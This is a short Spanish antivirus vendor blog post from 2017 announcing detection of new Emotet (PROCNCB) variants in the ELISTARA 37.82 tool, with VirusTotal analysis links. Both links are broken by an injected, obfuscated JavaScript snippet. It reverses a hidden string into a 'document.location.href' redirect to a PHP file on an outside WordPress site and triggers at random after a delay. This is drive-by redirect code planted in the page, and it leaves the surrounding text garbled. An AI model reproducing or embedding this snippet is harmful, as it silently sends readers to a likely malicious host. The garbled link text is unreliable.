Siguen llegando muestras de nuevas variantes del malware PROCNCB (alias Win32.Emotet)

Como ayer, seguimos recibiendo nuevas variantes de este malware que ya conocemos por anteriores similares, que permanece residente y con conexión se actualiza, ademas de instalarse en rutas diferentes segun sistema

A partir del ELISTARA 37.82 de hoy pasamos a controlar estas nuevas variantes:

El preanalisis de virustotal ofrece los siguientes informes:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/en/file/f7568a0e0270b16724aecad8a5766f373af19b8c1bc53cf6bca56750a677a189/analysis/1510131321/” target=”_blank” rel=”noopener”>Preanalisis fichero procncb(86).gxe

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/en/file/0a84a7440f2236f5b661a56a01f6eaff377d31db9e1ea1ef0ff0c3beae7130cf/analysis/1510156009/” target=”_blank” rel=”noopener”>Preanalisis fichero procncb(88).gxe

Dicha versión del ELISTARA 37.82 que los detecta y elimina, estará disponible en nuestra web a partir del 9-11 prox

saludos

ms, 8-11-2017